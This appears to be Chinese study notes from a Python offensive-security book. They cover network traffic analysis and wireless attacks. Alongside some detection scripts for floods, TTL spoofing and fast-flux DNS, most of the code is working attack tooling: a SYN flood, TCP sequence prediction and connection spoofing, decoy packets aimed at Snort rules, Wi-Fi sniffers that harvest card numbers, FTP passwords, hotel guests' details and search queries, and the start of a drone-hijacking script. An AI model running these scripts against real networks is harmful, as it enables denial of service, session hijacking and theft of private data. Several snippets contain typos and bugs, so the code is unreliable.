137 | if sport == 6667:
138 | if "!lazor" in tcp.data.lower():
139 | print("[!] DDoS Hivemind issued to: {}".format(src))
140 | print("[+] Target CMD: {}".format(tcp.data))
141 | except:
142 | pass
143 | ```
144 |
145 | ### 实时监测 DDoS 攻击
146 |
147 | 若要识别攻击,需要设置一个不正常的数据包数量的阈值。如果某一用户发送某个地址的数据包的数量超过了这个阈值,就表明发生了我们需要把它视为攻击做进一步调查的事情。
148 |
149 | ```python
150 | import dpkt
151 | import socket
152 | THRESH = 10000
153 | def find_attack(pcap):
154 | pkt_count = {}
155 | for ts, buf in pcap:
156 | try:
157 | eth = dpkt.ethernet.Ethernet(buf)
158 | ip = eth.data
159 | src = socket.inet_ntoa(ip.src)
160 | dst = socket.inet_ntoa(ip.dst)
161 | tcp = ip.data
162 | dport = tcp.dport
163 | if dport == 80:
164 | stream = "{}:{}".format(src, dst)
165 | if pkt_count.has_key(stream):
166 | pkt_count[stream] = pkt_count[stream] + 1
167 | else:
168 | pkt_count[stream] = 1
169 | except:
170 | pass
171 |
172 | for stream in pkt_count:
173 | pkts_sent = pkt_count[stream]
174 | if pkt_sent > THRESH:
175 | src = stream.split(":")[0]
176 | dst = stream.split(":")[1]
177 | print("[+] {} attacked {} with {} pkts."format(src, dst, str(pkts_sent)))
178 | ```
179 |
180 | ## H.D.Moore 是如何解决五角大楼的麻烦的
181 |
182 | 一系列协调一致的老练的攻击:`CIO Institude bulletin on computer security, 1999`
183 |
184 | 检测出 Nmap 扫描十分容易,而且还可以查出攻击者的 IP 地址,并依次找出该 IP 的物理地址。但是,攻击者可以使用 nmap 的高级选项。他们扫描时在数据包中不必填入自己的地址,可以填入地球上其他许多不同地方的 IP 地址进行伪装扫描(decoy scan)
185 |
186 | Moore 建议使用 TTL 字段分析所有来自 Nmap 扫描的数据包。IP 数据包的 TTL(time-to-live)字段可以用来确定在到达目的地之前数据包经过了几跳。每当一个数据包经过一个路由设备时,路由器会将 TTL 字段中的值减去一。Moore 意识到这是个确定扫描源的好方法。对每个被记录为 Nmap 扫描包的源地址来说,他都会发送一个 ICMP 数据包,去确定源地址和被扫描的机器之间隔了几跳。然后他就运用这些信息来辨认真正的扫描员。显然,只有来自真实的扫描源的包中的 TTL 正确的,伪造 IP 的包中的 TTL 值则应该是不正确的。Moore 将他的工具命名为 Nlog,因为它能记录 Nmap 扫描包中的许多信息。
187 |
188 | ### 理解 TTL 字段
189 |
190 | IP 数据包的 TTL 字段。TTL 字段由 8 比特组成,可以有效记录 0 到 255 之间的值。当计算机发送一个 IP 数据包时,它将 TTL 字段设置为数据包在到达目的地址前所应经过的中继跳的上限值。数据包每经过一个路由设备,TTL 值就自减一。如果 TTL 值到了零,路由器就会丢弃该数据包,以防止无限路由循环。
191 |
192 | 当在 Nmap 1.6 中引入伪装扫描时,伪造数据包的 TTL 值既不是随机的,也不是经过精心计算的。正因为 TTL 值没有经过正确计算,Moore 才能够识别这些数据包。Nmap 运用以下算法随机化 TTL。该算法为平均约 48 个数据包生成一个随机的 TTL 值。用户也可以通过一个可选的参数把 TTL 设为一个固定值。
193 |
194 | ```c++
195 | // 生存时间
196 | if (ttl == -1){
197 | my_ttl = (get_random_uint() % 23) + 37;
198 | } else {
199 | my_ttl = ttl;
200 | }
201 | ```
202 |
203 | 在以伪装扫描模式运行 Nmap 时,使用 -D 参数后跟一个 IP 地址。此外,还可以用 `-ttl` 参数把 TTL 值固定为 13。
204 |
205 | ```shell
206 | nmap 192.168.1.7 -D 8.8.8.8 -ttl 13
207 | ```
208 |
209 | 在目标主机 192.168.1.7 上,用 verbose 模式(-v)运行 tcpdump,禁用名称解析(-nn),并只显示与地址 `8.8.8.8` 相关的流量(`host 8.8.8.8`)。可以看到 nmap 成功地用假地址 `8.8.8.8` 发送了 TTL 值为 13 的伪造数据包。
210 |
211 | ### 用 scapy 解析 TTL 字段的值
212 |
213 | ```python
214 | from scapy.all import *
215 |
216 | def test_ttl(pkt):
217 | try:
218 | if pkt.haslayer(IP):
219 | ipsrc = pkt.getlayer(IP).src
220 | ttl = str(pkt.ttl)
221 | print("[+] Pkt Received From: {} with TTL: {}".format(ipsrc, ttl))
222 | except:
223 | pass
224 |
225 | def main():
226 | sniff(prn=test_ttl, store=0)
227 | ```
228 |
229 | Linux/Unix 系统通常把 TTL 的初始值设为 64,而 Windows 系统则把它设为 128。
230 |
231 | 需要把内网/私有 IP 地址(`10.0.0.0~10.255.255.255`、`172.16.0.0~172.31.255.255`,以及 `192.168.0.0` ~ `192.168.255.255`)的数据包全部去掉。要做到这一点,需要导入 IPy 库。为了避免 IPy 库中的 IP 类与 Scapy 库中的 IP 类冲突,把它重命名为 IPTEST 类。如果 `IPTEST(ipsrc).iptype()` 返回 `PRIVATE`,就忽略对该数据包的检查。
232 |
233 | 可能会收到来自同一个源地址的多个数据包,而我们又不想重复检查同一个源地址。如果之前从未见过这个源地址,则要构建一个目标 IP 地址为这个源地址的 IP 包,这个包应该是一个 ICMP 请求报,这样目标主机就会做出回应。一旦目标主机做出了响应,我们就把 TTL 值存储在一个用源 IP 地址作为索引的词典中。然后将实际收到的 TTL 与原始数据包中的 TTL 放在一起,判断它们的差值是否超过了一个阈值。走不同的路径到达目标主机的数据包所经过的路由设备的数量可能会有所差异,因此其 TTL 也可能不完全一样。但是,如果中继跳数的差超过了 5 跳,则可以推断该 TTL 是假的。
234 |
235 | ```python
236 | from scapy.all import *
237 | from IPy import IP as IPTEST
238 | ttl_values = {}
239 | THRESH = 5
240 |
241 | def check_ttl(ipsrc, ttl):
242 | if IPTEST(ipsrc).iptype() == "PRIVATE":
243 | return
244 | if not ttl_values.has_key(ipsrc):
245 | pkt = sr1(IP(dst=ipsrc) / ICMP(), retry=0, timeout = 1, verbose=0)
246 | ttl_values[ipsrc] = pkt.ttl
247 | if abs(int(ttl) - int(ttl_values[ipsrc])) > THRESH:
248 | print("[!] Detected Possible Spoofed Packet From: {}".format(ipsrc))
249 | print("[!] TTL: {}, Actual TTL: {}".format(ttl, str(ttl_values[ipsrc])))
250 | ```
251 |
252 | 尽管 RFC 1700 中建议把默认的 TTL 值设为 64,但是自 MS Windows NT 4.0 起,微软 Windows 就已经把 TTL 的初始值设为 128 了。此外,其他一些类 UNIX 系统也会使用不同的 TTL 初始值,比如 Solaris 2.x 的默认 TTL 初始值就是 255。
253 |
254 | ## “风暴”(Storm) 的 fast-flux 和 Conficker 的 domain-flux
255 |
256 | 名为 `fast-flux` 的技术使用域名服务(DNS)记录隐藏指挥风暴僵尸网络的控制与命令信道。DNS 记录一般是用来将域名转换为 IP 地址的。当 DNS 服务器返回一个结果时,它会同时指定一个 TTL——告诉主机这个 IP 地址在多长的时间里肯定是有效的,因此在这段时间里无须再次解析该域名。
257 |
258 | 风暴僵尸网络背后的攻击者会非常频繁地改变用于指挥与控制服务器的 DNS 记录。事实上,他们使用了分布在 50 多个国家的 384 个网络供应商手上的 2000 台冗余服务器。攻击者频繁地且切换指挥与控制服务器的 IP 地址,并在 DNS 查询结果中返回一个很短的 TTL。这种快速变化 IP 地址的做法(fast-flux)使得别人很难找出僵尸网络的指挥与控制服务器。
259 |
260 | Conficker 是迄今为止最成功的电脑蠕虫病毒,通过 Windows 服务消息块(Windows Service Message Block,SMB)协议中的一个漏洞传播。一旦被感染,有漏洞的机器便联络命令与控制服务器,以获得进一步的指令。然而,Conficker 每三个小时会使用 UTC 格式的当前日期和时间生成一批不同的域名。对 Conficker 的第三个版本来说,这意味着每三个小时生成 50000 个域名。攻击者只注册了这些域名中的很少一部分,让它们能映射成真正的 IP 地址。这使得拦截和阻止来自命令与控制服务器的流量变得十分困难。由于该技术是轮流使用域名的,所以研究人员便将其命名为 `domain-flux`
261 |
262 | ### 你的 DNS 知道一些不为你所知的吗?
263 |
264 | 用 tcpdump 检查 DNS 查询过程可以看到,客户端向 DNS 服务器发送了一次请求。具体地说,客户端生成了一个 `DNS Question Record(DNSQR)`,查询对应域名的 IPv4 地址。服务器响应了一个 `DNS Resource Record(DNSRR)`,给出了域名的 IP 地址。
265 |
266 | ### 使用 Scapy 解析 DNS 流量
267 |
268 | 在用 Scapy 检查这些 DNS 协议请求包时,要检查的字段在 DNSQR 和 DNSRR 包都存在。一个 DNSQR 包中含有查询的名称(qname)、查询的类型(qtype)和查询的类别(qclass)。服务器相应的一个对应的 DNSRR,其中含有资源记录名名称(rrname)、类型(type)、资源记录类别(rclass)和 TTL。
269 |
270 | 欧洲网络和信息安全机构(The European Network and Information Security Agency)提供了一个分析网络流量的极好资源,该机构提供一个可启动的 DVD ISO 镜像,其中还含有几个网络抓包文件和练习。其中练习 7 中演示了 `fast-flux` 行为的 pcap 包。
271 |
272 | ### 用 Scapy 找出 `fast-flux` 流量
273 |
274 | 写一个 Python 脚本,从 pcap 文件中读取数据,并把所有含 DNSRR 的数据包解析出来
275 |
276 | ```python
277 | from scapy.all import *
278 | dns_records = dict()
279 |
280 | def handle_pkt(pkt):
281 | if pkt.haslayer(DNSRR):
282 | rrname = pkt.getlayer(DNSRR).rrname
283 | rdata = pkt.getlayer(DNSRR).rdata
284 | if dns_records.has_key(rrname):
285 | if rdata not in dns_records[rrname]:
286 | dns_records[rrname].append(rdata)
287 | else:
288 | dns_records[rrname] = list()
289 | dns_records[rrname].append(rdata)
290 |
291 | def main():
292 | pkts = rdpcap("fast_flux.pcap")
293 | for pkt in pkts:
294 | handle_pkt(pkt)
295 | for item in dns_records:
296 | print("[+] {} has {} unique IPs.".format(item, len(dns_records[item])))
297 | ```
298 |
299 | ### 用 Scapy 找出 Domain Flux 流量
300 |
301 | Conficker 使用的是 `domain-flux` 技术,我们需要寻找的就是那些对未知域名查询回复出错消息的服务器响应包。DNS 服务器是没法把大多数域名转换为真正的 IP 地址的,对这些域名,服务器回复一个出错了的消息。可以通过找出所有含域名出错的错误代码的 DNS 响应包的方式,实时地识别出 `domain-flux`
302 |
303 | 再次读取网络抓包文件,并逐一检查抓包文件中的各个数据包。只检查来自服务器 53 端口的数据包——这种包中含有资源记录。DNS 数据包中有一个 rcode 字段。当 rcode 等于 3 时,表示的是域名不存在。然后把域名打印在屏幕上,并更新所有未得到应答的域名请求的计数器。
304 |
305 | ```python
306 | from scapy.all import *
307 |
308 | def dns_qrtest(pkt):
309 | if pkt.haslayer(DNSRR) and pkt.getlayer(UDP).sport == 53:
310 | rcode = pkt.getlayer(DNS).rcode
311 | qname = pkt.getlayer(DNSQR).qname
312 | if rcode == 3:
313 | print("[!] Name request lookup failed: {}".format(qname))
314 | return True
315 | else:
316 | return False
317 |
318 | def main():
319 | un_ans_reqs = 0
320 | pkts = rdpcap("domain_flux.pcap")
321 | for pkt in pkts:
322 | if dns_qrtest(pkt):
323 | un_ans_reqs = un_ans_reqs + 1
324 | print("[!] {} Total Unanswered Name Requests".format(un_ans_reqs))
325 | ```
326 |
327 | ## Kevin Mitnick 和 TCP 序列号预测
328 |
329 | Mitnick 使用了一种劫持 TCP 会话的方法。这种技术被称为 TCP 序列号预测,这一技术利用的是原本设计用来区分各个独立的网络连接的 TCP 序列号的生成缺乏随机性这一缺陷。这一缺陷加上 IP 地址欺骗,使得 Mitnick 能够劫持家用电脑中的某个连接。
330 |
331 | ### 预测你自己的 TCP 序列号
332 |
333 | Mitnick 攻击的机器与某台远程服务器之间有可信协议。远程服务器可以通过在 TCP 513 端口上运行的远程登录协议(rlogin)访问 Mitnick 被攻击的计算机。rlogin 并没有使用公钥/私钥协议或口令认证,而是使用了一种不太安全的认证方法——绑定源 IP 地址。
334 |
335 | 为了攻击电脑,Mitnick 必须做到以下 4 点:
336 |
337 | (1)找到一个受信任的服务器
338 |
339 | (2)使该服务器无法再做出响应
340 |
341 | (3)伪造来自服务器的一个连接
342 |
343 | (4)盲目伪造一个 TCP三次握手的适当说明
344 |
345 | Mitnick 找到与个人电脑之间有可信协议的远程服务器后,需要使远程服务器不能再发出响应。如果远程服务器发现有人尝试使用服务器 IP 地址进行假连接,它将发送 TCP 重置(reset)数据包关闭连接。为了使服务器无法再做出响应,Mitnick 向服务器上的远程登录(rlogin)端口发出了许多 TCP SYN 数据包,即 SYN 泛洪攻击(SYN Flood),这种攻击将会填满服务器的连接队列,使之无法做出任何响应。
346 |
347 | ### 使用 Scapy 制造 SYN 泛洪攻击
348 |
349 | 用 Scapy 重新实现 SYN 泛洪攻击,只需要制造一些载有 TCP 协议层的 IP 数据包,让这些包里 TCP 源端口不断地自增一,而目的 TCP 端口总是为 513
350 |
351 | ```python
352 | from scapy.all import *
353 |
354 | def syn_flood(src, target):
355 | for sport in range(1024, 65535):
356 | ip_layer = IP(src=src, dst=target)
357 | tcp_layer = TCP(sport=sport, dport=513)
358 | pkt = ip_layer / tcp_layer
359 | send(pkt)
360 | src = "10.1.1.2"
361 | target = "192.168.1.3"
362 | syn_flood(src, target)
363 | ```
364 | ### 计算 TCP 序列号
365 |
366 | Mitnick 能够伪造一个 TCP 连接到目标。不过,这取决于他能够发送伪造 SYN 包的能力,接着被攻击的机器会返回一个 TCP SYN-ACK 包确认连接。为了完成连接,Mitnick 需要在 SYN-ACK 中正确地猜出 TCP 的序列号(因为他无法观察到),然后把猜到的正确的 TCP 序列号放在 ACK 包中发送回去。
367 |
368 | 在 Python 中重现这一过程,将发送一个 TCP SYN 包,然后等待 TCP SYN-ACK 包。收到之后,将从这个确认包中读出 TCP 序列号,并把它打印到屏幕上。编写的函数 `cal_tsn` 将接收目标 IP 地址这个参数,返回下一个 SYN-ACK 包的序列号(当前 SYN-ACK 包的序列号加上差值)
369 |
370 | ```python
371 | from scapy.all import *
372 | def cal_tsn(target):
373 | seq_num = 0
374 | pre_num = 0
375 | diff_seq = 0
376 | for x in range(1, 5):
377 | if pre_num != 0:
378 | pre_num = seq_num
379 | pkt = IP(dst=target) / TCP()
380 | ans = sr1(pkt, verbose=0)
381 | seq_num = ans.getlayer(TCP).seq
382 | diff_seq = seq_num - pre_num
383 | print("[+] TCP Seq Difference: {}".format(diff_seq))
384 | return seq_num + diff_seq
385 |
386 | target = "192.168.1.106"
387 | seq_num = cal_tsn(target)
388 | print("[+] Next TCP Sequence Number to ACK is: {}".format(seq_num + 1))
389 | ```
390 |
391 | ### 伪造 TCP 连接
392 |
393 | 在 Python 中重现这一行为,将创建和发送两个数据包。首先,创建一个 TCP 源端口为 513,目标端口为 514,源 IP 地址为被假冒的服务器,目标 IP 地址为被攻击计算机的 SYN 包。接着,创建一个相同的 ACK 包,并把计算得到的序列号填入相应的字段中,最后把它发送出去
394 |
395 | ```python
396 | from scapy.all import *
397 |
398 | def spoof_conn(src, target, ack):
399 | ip_layer = IP(src=src, dst=target)
400 | tcp_layer = TCP(sport=513, dport=514)
401 | syn_pkt = ip_layer / tcp_layer
402 | send(syn_pkt)
403 | ip_layer = IP(src=src, dst=target)
404 | tcp_layer = TCP(sport=513, dport=514, ack=ack)
405 | ack_pkt = ip_layer / tcp_layer
406 | send(ack_pkt)
407 |
408 | src = "10.1.1.2"
409 | target = "192.168.1.106"
410 | seq_num = 2024371201
411 | spoof_conn(src, target, seq_num)
412 | ```
413 |
414 | ## 使用 Scapy 愚弄入侵检测系统
415 |
416 | 入侵检测系统(Intrusion DetectionSystem,IDS),基于网络的入侵检测系统(network-based intrusion detection system,NIDS)可以通过记录流经 IP 网络的数据包实时地分析流量。用已知的恶意特征码对数据包进行扫描,IDS 可以在攻击成功之前就向网络分析师发出警报。SNORT 这个 IDS 系统自带的许多不同规则,就使它能够识别出许多包括不同类型的踩点,漏洞利用已经拒绝服务攻击在内的真实环境中的攻击手段。检查其中一些规则配置文件中的内容,可以看到针对 TFN、tfn2k 和 Trin00 分布式拒绝服务攻击工具包的四个警报触发规则。
417 |
418 | ```shell
419 | cat /etc/snort/rules/ddos.rules
420 | ```
421 |
422 | 第一条警报触发规则——DDoS TFN 探针(DDoS TFN Probe)
423 |
424 | ```python
425 | from scapy.all import *
426 | def ddos_test(src, dst, iface, count):
427 | pkt = IP(src=src, dst=dst) / ICMP(type=8,id=678) / Raw(load="1234")
428 | send(pkt, iface=iface, count=count)
429 | pkt = IP(src=src, dst=dst) / ICMP(type=0) / Raw(load="AAAAAAAAA")
430 | send(pkt, iface=iface, count=count)
431 | pkt = IP(src=src, dst=dst) / UDP(dport=31335) / Raw(load="PONG")
432 | send(pkt, iface=iface, count=count)
433 | pkt = IP(src=src, dst=dst) / ICMP(type=0, id=456)
434 | send(pkt, iface=iface, count=count)
435 |
436 | src = "1.3.3.7"
437 | dst = "192.168.1.106"
438 | iface = "eth0"
439 | count = 1
440 | ddos_test(src, dst, iface, count)
441 | ```
442 |
443 | 接着看 SNORT 的 `exploit.rules` 签名文件中更复杂的警报触发规则:
444 |
445 | ```python
446 | def exploit_test(src, dst, iface, count):
447 | pkt = IP(src=src, dst=dst) / UDP(dport=518) / Raw(load="\x01\x03\x00...")
448 | send(pkt, iface=iface, count=count)
449 | pkt = IP(src=src, dst=dst) / UDP(dport=635) / Raw(load="^\xB0\x02...")
450 | send(pkt, iface=iface, count=count)
451 | ```
452 |
453 | 最后,伪造一些踩点或扫描操作也挺不错的。查看 SNORT 中关于扫描的警报触发规则,找到两个可以生成对应数据包的警报触发规则。这两个规则检测的是:发往 UDP 协议上的某些特定端口的数据包的内容中有无特定的特征码,如果有,则触发警报。
454 |
455 | 以下生成了两个会触发 cybercop 扫描器和 Amanda 扫描器扫描报警的数据包:
456 |
457 | ```python
458 | def scan_test(src, dst, iface, count):
459 | pkt = IP(src=src, dst=dst) / UDP(dport=7) / Raw(load="cybercop")
460 | send(pkt)
461 | pkt = IP(src=src, dst=dst) / UDP(dport=10080) / Raw(load="Amanda")
462 | send(pkt, iface=iface, count=count)
463 | ```
--------------------------------------------------------------------------------
/第5章用Python进行无线网络攻击.md:
--------------------------------------------------------------------------------
1 | # 第 5 章 用 Python 进行无线网络攻击
2 |
3 | ## 搭建无线网络攻击环境
4 |
5 | Backtrack 5 上的默认驱动程序能让用户把网卡设为混杂模式(monitor mode),并直接发送数据链路层上的帧。另外,它还有一个额外的无线插口,能让我们在网卡上再插上一个大功率天线。
6 |
7 | 混杂模式允许你直接拿到数据链路层上的无线网络数据帧,而不是以管理模式进入后获得的 `802.11` 以太网数据帧。这样,即使是在没有连上某个网络的情况下,也能看到 Beacons(信标)数据帧和无线网络管理数据帧的数据。
8 |
9 | ### 用 Scapy 测试无线网卡的嗅探功能
10 |
11 | 使用 `aircrack-ng` 工具包把网卡设为混杂模式。先用 Iwconif 列出无线网卡 wlan0 的相关信息。然后用 `airmon-ng start wlan0` 命令把网卡设为混杂模式
12 |
13 | ```shell
14 | # iwconfig wlan0
15 | ```
16 |
17 | 把变量 `conf.iface` 设为新创建的嗅探用网卡,每监听到一个数据包,脚本就会运行 `pkt_print` 函数。如果这个数据包是 `802.11` 信标,`802.11` 探查响应、TCP 数据包、DNS 流量等
18 |
19 | ```python
20 | from scapy.all import *
21 | def pkt_print(pkt):
22 | if pkt.haslayer(Dot11Beacon):
23 | print("[+] Detected 802.11 Beacon Frame")
24 | elif pkt.haslayer(Dot11ProbeReq):
25 | print("[+] Detected 802.11 Probe Request Frame")
26 | elif pkt.haslayer(TCP):
27 | print("[+] Detected a TCP Packet")
28 | elif pkt.haslayer(DNS):
29 | print("[+] Detected a DNS Packet")
30 |
31 | conf.iface = "mon0"
32 | sniff(prn=pkt_print)
33 | ```
34 |
35 | ### 安装 Python 蓝牙包
36 |
37 | 使用 Python 中集成的 Linux Bluez 应用程序编程接口(API)以及 obexftp API(ObexFTP 是一个基于 OBEX 协议的 FTP 客户端软件。OBEX 的全称为 Object Exchange-对象交换,所以称之为对象交换协议。)
38 |
39 | ```shell
40 | # sudo apt-get install python-bluez bluetooth python-obexftp
41 | ```
42 |
43 | 另外还需要有一个蓝牙设备。大部分使用 Cambridge Silicon Radio(CSR)公司出品的芯片组的蓝牙设备都能在 Linux 系统下正常工作。可以使用 `hciconfig config` 命令把蓝牙设备的详细配置信息打印在屏幕上
44 |
45 | Backtrack5 r1 上有一个小瑕疵——在这个已经编译好的内核中,没有可以用来直接发送数据链路层上的蓝牙数据包的内核模块。所以需要升级或者使用 Backtrack5 r2
46 |
47 | ## 绵羊墙-被动窃听无线网络中传输的秘密
48 |
49 | ### 使用 Python 正则表达式嗅探信用卡信息
50 |
51 | 最常用的三种信用卡:Visa、MasterCard 和 American Express,登录 `http://www.regular-expressions.info/creditcard.html`,其中会提供其他银行的信用卡卡号的正则表达式。
52 |
53 | American Express 信用卡由 34 或者 37 开头的 15 位数字组成。
54 |
55 | ```python
56 | import re
57 | def find_credit_card(raw):
58 | america_re = re.findall("3[47][0-9]{13}", raw)
59 | if america_re:
60 | print("[+] Found American Express Card: {}".format(america_re[0]))
61 |
62 | def main():
63 | tests = []
64 | tests.append("I would like to buy 1337 copies of that dvd")
65 | tests.append("Bill my card: 378282246310005 for \$2600")
66 | for test in tests:
67 | fiind_credit_card(test)
68 | ```
69 |
70 | 类似地可以写出 MasterCards 和 Visa 信用卡卡号的正则表达式
71 |
72 | ```python
73 | def find_credit_card(pkt):
74 | raw = pkt.sprintf("%Raw.load%")
75 | america_re = re.findall("3[47][0-9]{13}", raw)
76 | master_re = re.findall("5[1-5][0-9]{14}", raw)
77 | visa_re = re.findall("4[0-9]{12}(?:[0-9]{3})?", raw)
78 | if america_re:
79 | print("[+] Found American Express Card: {}".format(america_re[0]))
80 | if master_re:
81 | print("[+] Found MasterCard Card: {}".format(master_re[0]))
82 | if visa_re:
83 | print("[+] Found Visa Card: {}".format(visa_re[0]))
84 | ```
85 |
86 | ### 嗅探宾馆住客
87 |
88 | 使用 Python 来截取酒店里其它住客的信息。
89 |
90 | ```python
91 | conf.iface = "mon0"
92 | try:
93 | print("[*] Starting Hotel Guest Sniffer.")
94 | sniff(filter="tcp", prn=find_guest, store=0)
95 | except KeyboardInterrupt:
96 | exit(0)
97 | ```
98 |
99 | 接下来构造正则表达式匹配所有以 `LAST_NAME` 开头,并以 `&` 结尾的字符串,这是宾馆住客房间号的正则表达式。
100 |
101 | ```python
102 | def find_guest(pkt):
103 | raw = pkt.sprintf("%Raw.load%")
104 | name = re.findall("(?i)Last_NAME=(.*)&", raw)
105 | room = re.findall("(?i)ROOM_NUMBER=(.*)'", raw)
106 | if name:
107 | print("[+] Found Hotel Guest {}, Room #".format(name[0], root[0]))
108 | ```
109 |
110 | ### 编写谷歌键盘记录器
111 |
112 | 在搜索栏里每输入一个字符时,浏览器几乎都会向谷歌发送一个 HTTP GET。
113 |
114 | 谷歌搜索的 URL 中的参数提供了大量附加信息,这些信息对编写谷歌键盘记录器是相当有用的。
115 |
116 | | 参数 | 含义 |
117 | | -------------- | -------------------------- |
118 | | q= | 查询的内容,就是在搜索框里输入的内容 |
119 | | pq= | 上一次查询的内容,即本次搜索前一次的查询内容 |
120 | | hl= | 语言,默认是 en,可以试试 `xx-hacker` |
121 | | as_epq= | 查询的精度 |
122 | | as_filetype= | 文件格式,用于搜索特定类型的文件,比如 `.zip` |
123 | | as_sitesearch= | 指定要搜索的网站 |
124 |
125 | 可以把抓取到的搜索数据实时显示出来
126 |
127 | ```python
128 | def find_google(pkt):
129 | if pkt.haslayer(Raw):
130 | payload = pkt.getlayer(Raw).load
131 | if "GET" in payload:
132 | if "google" in payload:
133 | r = re.findall(r"(?i)\&q=(.*?)\&", payload)
134 | if r:
135 | search = r[0].split("&")[0]
136 | search = search.replace("q=", "").replace("+", " ").replace("%20", " ")
137 | print("[+] Searched For: {}".format(search))
138 | ```
139 |
140 | 通过 `sniff` 进行嗅探:`sniff(filter="tcp port 80", prn=find_google)`
141 |
142 | ### 嗅探 FTP 登陆口令
143 |
144 | 文件传输协议(FTP)中没有使用加密措施来保护用户的登录密码,通过正则寻找这一信息,同时也会把数据包中的目的 IP 地址提取出来
145 |
146 | ```python
147 | from scapy.all import *
148 | def ftp_sniff(pkt):
149 | dest = pkt.getlayer(IP).dst
150 | raw = pkt.sprintf("%Raw.load%")
151 | user = re.findall("(?i)USER (.*)", raw)
152 | pswd = re.findall("(?i)PASS (.*)", raw)
153 | if user:
154 | print("[*] Detected FTP Login to {}".format(dest))
155 | print("[+] User account: {}".format(user[0]))
156 | elif pswd:
157 | print("[+] Password: {}".format(pswd[0]))
158 | ```
159 |
160 | 通过 `sniff(filter="tcp port 21", prn=ftp_sniff)` 实现
161 |
162 | ## 你带着笔记本电脑去过哪里?Python 告诉你
163 |
164 | ### 侦听 802.11 Probe 请求
165 |
166 | 为了提供一个无缝连接,你的电脑和手机里经常会有一个首选网络列表,其中含有你曾经成功连接过的网络名字。在你电脑启动后或者从某个网络断线掉下来的时候,电脑会发送 802.11 Probe 请求来搜索列表中的各个网络。
167 |
168 | 写一个工具来发现 802.11 Probe 请求
169 |
170 | ```python
171 | from scapy.all import *
172 | interface = "mon0"
173 | probe_reqs = []
174 | def sniff_probe(p):
175 | if p.haslayer(Dot11ProbeReq):
176 | net_name = p.getlayer(Dot11ProbeReq).info
177 | if net_name not in probe_reqs:
178 | probe_reqs.append(net_name)
179 | print("[+] Detected New Probe Request: {}".format(net_name))
180 | sniff(iface=interface, prn=sniff_probe)
181 | ```
182 |
183 | ### 寻找隐藏的 802.11 信标
184 |
185 | 尽管大部分网络都会公开显示他们的网络名(BSSID),但有的无线网络会使用一个隐藏的 SSID 来保护它的网络名不被发现。802.11 信标帧中的 info 字段一般都包含网络名。在隐藏的网络中,Wi-Fi 热点不会去填写这个字段,搜寻隐藏的网络其实很简单,因为只要去找 info 字段被留白的 802.11 信标帧就可以。
186 |
187 | ```python
188 | def sniff_dot11(p):
189 | if p.haslayer(Dot11Beacon):
190 | if p.getlayer(Dot11Beacon).info == "":
191 | addr2 = p.getlayer(Dot11).addr2
192 | if addr2 not in hidden_nets:
193 | print("[-] Detected Hidden SSID: with MAC: {}".format(addr2))
194 | ```
195 |
196 | ### 找出隐藏的 802.11 网络的网络名
197 |
198 | 尽管热点没有填写 802.11 信标帧中的 info 字段,但它在 Probe 响应帧中还是要将网络名传输出来。因此必须等待那个与 802.11 信标帧的 Mac 地址匹配的 Probe 响应帧出现。
199 |
200 | ```python
201 | import sys
202 | from scapy.all import *
203 | interface = "mon0"
204 | hidden_nets = []
205 | unhidden_nets = []
206 | def sniff_dot11(p):
207 | if p.haslayer(Dot11ProbeResp):
208 | addr2 = p.getlayer(Dot11).addr2
209 | if addr2 in hidden_nets and addr2 not in unhidden_nets:
210 | net_name = p.getlayer(Dot11ProbeResp).info
211 | print("[+] Decloaked Hidden SSID: {} for MAC: {}".format(net_name, addr2))
212 | unhidden_nets.append(addr2)
213 | if p.haslayer(Dot11Beacon):
214 | if p.getlayer(Dot11Beacon).info == "":
215 | addr2 = p.getlayer(Dot11).addr2
216 | if addr2 not in hidden_nets:
217 | print("[-] Detected Hidden SSID: with MAC: {}".format(addr2))
218 | hidden_nets.append(addr2)
219 | sniff(iface=interface, prn=sniff_dot11)
220 | ```
221 |
222 | ## 用 Python 截取和监视无人机
223 |
224 | ### 截取数据包,解析协议
225 |
226 | 无人机和 iPhone 之间建立一个 `ad-hoc` 无线网络(点对点,ad-hoc 模式就和以前的直连双绞线概念一样,是 P2P 的连接,所以也就无法与其他网络进行沟通),MAC 地址绑定被证明是保护连接的唯一安全机制。只有配对成功的 iPhone 才能给无人机发送飞行控制指令。
227 |
228 | 首先,要将适配器调至混杂模式来监听流量。无人机发起了一个 UDP 流量,其目标地址是手机上的 UDP 5555 端口,发送的是视频信息,而飞行控制指令是通过 5556 端口实现的。
229 |
230 | ```shell
231 | # airmon-ng start wlan0
232 | # tcpdump-nn-i mon0
233 | ```
234 |
235 | 知道了 iPhone 是通过 UDP 5556 端口向无人机发送飞行控制指令之后,可以编写一个 Python 脚本来把飞行控制流量解析出来
236 |
237 | ```python
238 | from scapy.all import *
239 | NAVPORT = 5556
240 | def print_pkt(pkt):
241 | if pkt.haslayer(UDP) and pkt.getlayer(UDP).dport == NAVPORT:
242 | raw = pkt.sprintf("%Raw.load%")
243 | print(raw)
244 | conf.iface = "mon0"
245 | sinff(prn=print_pkt)
246 | ```
247 |
248 | 通过分析,协议使用的语法是 `AT*CMD=SEQUENCE_NUMBER,VALUE,[VALUE{3}]` 语句。
249 |
250 | 接下来写一个 `interceptThread` 类,其中存储了攻击所得的信息,包括当前抓取到的数据包、每条无人机协议的顺序号,以及一个描述无人机流量是否已经被拦截的布尔量。
251 |
252 | ```python
253 | class interceptThread(threading.Thread):
254 | def __init__(self):
255 | threading.Thread.__init__(self)
256 | self.cur_pkt = None
257 | self.seq = 0
258 | self.found_uav = False
259 | def run(self):
260 | sniff(prn=self.intercept_pkt, filter="udp port 5556")
261 | def intercept_pkt(self, pkt):
262 | if self.found_uav == False:
263 | print("[*] UAV Found.")
264 | self.found_uav = True
265 | self.cur_pkt = pkt
266 | raw = pkt.sprintf("%Raw.load%")
267 | try:
268 | self.seq = int(raw.split(",")[0].split("=")[-1]) + 5
269 | except:
270 | self.seq = 0
271 | ```
272 |
273 | ### 用 Scapy 制作 802.11 数据帧
274 |
275 | 接下来,要伪造一个包含无人机命令的数据包。要从当前的数据包或者帧中复制出必要的信息。这个数据包穿越了 RadioTap、802.11、SNAP、LLC、IP 和 UDP 层。
276 |
277 | 编写一个完整的库来复制各个层中的信息。注意,每个层中都要忽略掉一些字段,比如不复制表示 IP 包包长的字段,这个可以让 Scapy 自动把这个字段的值计算出来。同样,也不会记录那些存储校验和的字段。
278 |
279 | ```python
280 | from scapy.all import *
281 | def dup_radio(pkt):
282 | r_pkt = pkt.getlayer(RadioTap)
283 | version = r_pkt.version
284 | pad = r_pkt.pad
285 | present = r_pkt.present
286 | notdecoded = r_pkt.notdecoded
